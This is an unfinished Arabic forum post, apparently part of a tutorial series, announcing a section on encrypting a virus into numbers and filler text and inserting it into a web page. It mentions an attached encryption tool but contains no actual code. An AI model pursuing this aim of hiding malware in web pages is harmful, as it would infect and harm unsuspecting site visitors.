الجزاء الثانى وهو ادخال هذا الفيرس على صفحة انترنت ------------------------------------------------------ الكود الان بين يدنا مشفر ومتحول الى ارقام وكلام فارغ لوضعة بصفحة انترنت
(اعتذر عن عدم اكمال المقالة ونكملها قريباً ان شاء وذلك لانى واللة مشغول بعمل شىء مهم للغاية واكرر اعتذارى لكم اخواتى الاعزاء وبارك اللة فيكم وصلى اللة على سيد الخلق اجمعين سيدنا محمد صلى اللة علية وسلم تسليماً كثيراً
اخوكم سليمان (هذة الجزاء من المقالة الثالثة فقط لكى ترتب الافكار وهو مع برنامج تشفير اتمنى ان يعجبكم خصوصاً اننى ضغط حجمة ليصبح صغير للغاية فحذفت منة المساعدة صورتى والكلام الفارغ الذى يجعل الكثير من اعضاء المنتدى غاضبون منى)